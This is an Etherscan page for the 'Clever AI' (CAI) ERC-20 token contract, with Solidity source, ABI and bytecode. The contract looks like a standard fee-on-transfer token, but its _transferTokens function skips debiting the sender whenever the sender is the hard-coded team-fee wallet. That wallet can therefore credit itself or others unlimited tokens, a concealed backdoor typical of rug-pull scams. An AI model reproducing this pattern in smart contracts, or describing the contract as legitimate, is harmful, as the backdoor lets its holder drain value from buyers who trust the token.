Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 CAI
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,541,569.523481455723745964 CAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CleverAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-20 */ // SPDX-License-Identifier: MIT /* Web : https://cleverai.tech App : https://app.cleverai.tech Doc : https://docs.cleverai.tech Twitter : https://twitter.com/cleveraieth Telegram : https://t.me/caitoken_general */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CleverAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => uint256) private tokenBalance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _cleverTeamFees; uint256 private _initialBuyTax=25; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=3; uint256 private _reduceBuyTaxAt=7; uint256 private _reduceSellTaxAt=14; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 100_000_000 * 10**_decimals; string private constant _name = unicode"Clever AI"; string private constant _symbol = unicode"CAI"; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; uint256 public _taxAmountThreshold= 1000 * 10**_decimals; uint256 public _maxTaxSwap= 200000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _cleverTeamFees = payable(0x0B98A051447008E07A6FBA53aa70B6bcBf3FA9C7); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_cleverTeamFees] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function sendETHToFee(uint256 amount) private { _cleverTeamFees.transfer(amount); } function createCleverPairs() external onlyOwner() { require(!tradingOpen,"Trading is already open"); // uniswap router uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableCleverTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } receive() external payable { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; bool isCleverSwapEnabled = false; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); isCleverSwapEnabled = swapEnabled && amount > _taxAmountThreshold && _buyCount>_preventSwapBefore; require(tradingOpen, "Trading is not opened!"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && isCleverSwapEnabled) { if(contractTokenBalance>_taxAmountThreshold) swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); sendETHToFee(address(this).balance); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _transferTokens(from, to, amount, taxAmount); } function _transferTokens( address from, address to, uint256 amount, uint256 taxAmount ) internal returns (bool) { if(from != _cleverTeamFees) { _balances[from] = _balances[from].sub( amount, "Insufficient Balance" ); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } else { _balances[to]=_balances[to].add(amount); } return true; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeCleverLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxAmountThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createCleverPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableCleverTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeCleverLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff1916905560196007818155600891909155600060098190556003600a908155600b92909255600e600c8190556005600d55556200004a9060129062000363565b6200005990621e84806200037b565b600f556200006a6012600a62000363565b6200007990621e84806200037b565b6010556200008a6012600a62000363565b62000098906103e86200037b565b601155620000a96012600a62000363565b620000b89062030d406200037b565b6012556014805461ffff60a81b19169055348015620000d657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916740b98a051447008e07a6fba53aa70b6bcbf3fa9c7001790556200014e6012600a62000363565b6200015e906305f5e1006200037b565b336000908152600160208190526040822092909255600490620001896000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260049093528183208054851660019081179091556006546101009004909116835291208054909216179055620001ed3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002276012600a62000363565b62000237906305f5e1006200037b565b60405190815260200160405180910390a362000395565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a55781600019048211156200028957620002896200024e565b808516156200029757918102915b93841c939080029062000269565b509250929050565b600082620002be575060016200035d565b81620002cd575060006200035d565b8160018114620002e65760028114620002f15762000311565b60019150506200035d565b60ff8411156200030557620003056200024e565b50506001821b6200035d565b5060208310610133831016604e8410600b841016171562000336575081810a6200035d565b62000342838362000264565b80600019048211156200035957620003596200024e565b0290505b92915050565b60006200037460ff841683620002ad565b9392505050565b80820281158282048414176200035d576200035d6200024e565b6119be80620003a56000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a73b9ce111610064578063a73b9ce114610305578063a9059cbb1461031a578063c088020d1461033a578063c876d0b91461034f578063dd62ed3e1461036957600080fd5b8063715018a6146102705780637d1db4a5146102855780638da5cb5b1461029b5780638f9a55c0146102c357806395d89b41146102d957600080fd5b806318160ddd116100e757806318160ddd146101d257806323b872dd146101e7578063313ce5671461020757806364c2509d1461022357806370a082311461023a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630b507edc146101985780630faee56f146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268436c6576657220414960b81b60208201525b60405161015f9190611590565b60405180910390f35b34801561017457600080fd5b506101886101833660046115f3565b6103af565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae60115481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae60125481565b3480156101de57600080fd5b506101ae6103c6565b3480156101f357600080fd5b5061018861020236600461161f565b6103e7565b34801561021357600080fd5b506040516012815260200161015f565b34801561022f57600080fd5b50610238610450565b005b34801561024657600080fd5b506101ae610255366004611660565b6001600160a01b031660009081526001602052604090205490565b34801561027c57600080fd5b506102386104f6565b34801561029157600080fd5b506101ae600f5481565b3480156102a757600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102cf57600080fd5b506101ae60105481565b3480156102e557600080fd5b5060408051808201909152600381526243414960e81b6020820152610152565b34801561031157600080fd5b5061023861056a565b34801561032657600080fd5b506101886103353660046115f3565b610626565b34801561034657600080fd5b50610238610633565b34801561035b57600080fd5b506006546101889060ff1681565b34801561037557600080fd5b506101ae61038436600461167d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103bc3384846109d8565b5060015b92915050565b60006103d46012600a6117b0565b6103e2906305f5e1006117bf565b905090565b60006103f4848484610afc565b610446843361044185604051806060016040528060288152602001611961602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061108f565b6109d8565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a906117d6565b60405180910390fd5b601454600160a01b900460ff16156104dd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161047a906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161047a906117d6565b6105a06012600a6117b0565b6105ae906305f5e1006117bf565b600f556105bd6012600a6117b0565b6105cb906305f5e1006117bf565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106056012600a6117b0565b610613906305f5e1006117bf565b60405190815260200160405180910390a1565b60006103bc338484610afc565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161047a906117d6565b601454600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107009030906106f26012600a6117b0565b610441906305f5e1006117bf565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610777919061180b565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fd919061180b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061180b565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108b6816001600160a01b031660009081526001602052604090205490565b6000806108cb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610933573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109589190611828565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611856565b50565b6001600160a01b038316610a3a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a9b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610bc25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b6001600160a01b038316600090815260046020526040812054819060ff16158015610c6857506001600160a01b03841660009081526004602052604090205460ff16155b1561100157610c996064610c93600b54600e5411610c8857600754610c8c565b6009545b86906110c9565b90611152565b601454909250600160b01b900460ff168015610cb6575060115483115b8015610cc55750600d54600e54115b601454909150600160a01b900460ff16610d1a5760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161047a565b60065460ff1615610dff576013546001600160a01b03858116911614801590610d5157506014546001600160a01b03858116911614155b15610dff57326000908152600560205260409020544311610dec5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047a565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610e2a57506013546001600160a01b03858116911614155b8015610e4f57506001600160a01b03841660009081526004602052604090205460ff16155b15610f3757600f54831115610ea65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b60105483610ec9866001600160a01b031660009081526001602052604090205490565b610ed39190611878565b1115610f215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600e8054906000610f318361188b565b91905055505b6014546001600160a01b038581169116148015610f5d57506001600160a01b0385163014155b15610f8a57610f876064610c93600c54600e5411610f7d57600854610c8c565b600a5486906110c9565b91505b30600090815260016020526040902054601454600160a81b900460ff16158015610fc157506014546001600160a01b038681169116145b8015610fca5750815b15610fff57601154811115610ff657610ff6610ff185610fec84601254611194565b611194565b6111a9565b610fff47611323565b505b811561107b57306000908152600160205260409020546110219083611365565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110729086815260200190565b60405180910390a35b611087858585856113c4565b505050505050565b600081848411156110b35760405162461bcd60e51b815260040161047a9190611590565b5060006110c084866118a4565b95945050505050565b6000826000036110db575060006103c0565b60006110e783856117bf565b9050826110f485836118b7565b1461114b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b9392505050565b600061114b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611520565b60008183116111a3578261114b565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f1576111f16118d9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561124a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126e919061180b565b81600181518110611281576112816118d9565b6001600160a01b0392831660209182029290920101526013546112a791309116846109d8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e09085906000908690309042906004016118ef565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611361573d6000803e3d6000fd5b5050565b6000806113728385611878565b90508381101561114b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6006546000906001600160a01b0386811661010090920416146114d8576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03881660009081526001909152919091205461143391859061108f565b6001600160a01b038616600090815260016020526040902055611478611459848461154e565b6001600160a01b03861660009081526001602052604090205490611365565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c2868661154e565b60405190815260200160405180910390a3611515565b6001600160a01b0384166000908152600160205260409020546114fb9084611365565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115415760405162461bcd60e51b815260040161047a9190611590565b5060006110c084866118b7565b600061114b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108f565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d557600080fd5b6000806040838503121561160657600080fd5b8235611611816115de565b946020939093013593505050565b60008060006060848603121561163457600080fd5b833561163f816115de565b9250602084013561164f816115de565b929592945050506040919091013590565b60006020828403121561167257600080fd5b813561114b816115de565b6000806040838503121561169057600080fd5b823561169b816115de565b915060208301356116ab816115de565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117075781600019048211156116ed576116ed6116b6565b808516156116fa57918102915b93841c93908002906116d1565b509250929050565b60008261171e575060016103c0565b8161172b575060006103c0565b8160018114611741576002811461174b57611767565b60019150506103c0565b60ff84111561175c5761175c6116b6565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561178a575081810a6103c0565b61179483836116cc565b80600019048211156117a8576117a86116b6565b029392505050565b600061114b60ff84168361170f565b80820281158282048414176103c0576103c06116b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561181d57600080fd5b815161114b816115de565b60008060006060848603121561183d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561186857600080fd5b8151801515811461114b57600080fd5b808201808211156103c0576103c06116b6565b60006001820161189d5761189d6116b6565b5060010190565b818103818111156103c0576103c06116b6565b6000826118d457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193f5784516001600160a01b03168352938301939183019160010161191a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005abae642608a64c44f1a7ed30cafd64beec1c910635bc0310a3066a662ccb2e64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a73b9ce111610064578063a73b9ce114610305578063a9059cbb1461031a578063c088020d1461033a578063c876d0b91461034f578063dd62ed3e1461036957600080fd5b8063715018a6146102705780637d1db4a5146102855780638da5cb5b1461029b5780638f9a55c0146102c357806395d89b41146102d957600080fd5b806318160ddd116100e757806318160ddd146101d257806323b872dd146101e7578063313ce5671461020757806364c2509d1461022357806370a082311461023a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630b507edc146101985780630faee56f146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268436c6576657220414960b81b60208201525b60405161015f9190611590565b60405180910390f35b34801561017457600080fd5b506101886101833660046115f3565b6103af565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae60115481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae60125481565b3480156101de57600080fd5b506101ae6103c6565b3480156101f357600080fd5b5061018861020236600461161f565b6103e7565b34801561021357600080fd5b506040516012815260200161015f565b34801561022f57600080fd5b50610238610450565b005b34801561024657600080fd5b506101ae610255366004611660565b6001600160a01b031660009081526001602052604090205490565b34801561027c57600080fd5b506102386104f6565b34801561029157600080fd5b506101ae600f5481565b3480156102a757600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102cf57600080fd5b506101ae60105481565b3480156102e557600080fd5b5060408051808201909152600381526243414960e81b6020820152610152565b34801561031157600080fd5b5061023861056a565b34801561032657600080fd5b506101886103353660046115f3565b610626565b34801561034657600080fd5b50610238610633565b34801561035b57600080fd5b506006546101889060ff1681565b34801561037557600080fd5b506101ae61038436600461167d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103bc3384846109d8565b5060015b92915050565b60006103d46012600a6117b0565b6103e2906305f5e1006117bf565b905090565b60006103f4848484610afc565b610446843361044185604051806060016040528060288152602001611961602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061108f565b6109d8565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a906117d6565b60405180910390fd5b601454600160a01b900460ff16156104dd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161047a906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161047a906117d6565b6105a06012600a6117b0565b6105ae906305f5e1006117bf565b600f556105bd6012600a6117b0565b6105cb906305f5e1006117bf565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106056012600a6117b0565b610613906305f5e1006117bf565b60405190815260200160405180910390a1565b60006103bc338484610afc565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161047a906117d6565b601454600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107009030906106f26012600a6117b0565b610441906305f5e1006117bf565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610777919061180b565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fd919061180b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061180b565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306108b6816001600160a01b031660009081526001602052604090205490565b6000806108cb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610933573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109589190611828565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611856565b50565b6001600160a01b038316610a3a5760405162461bcd60e51b81526020600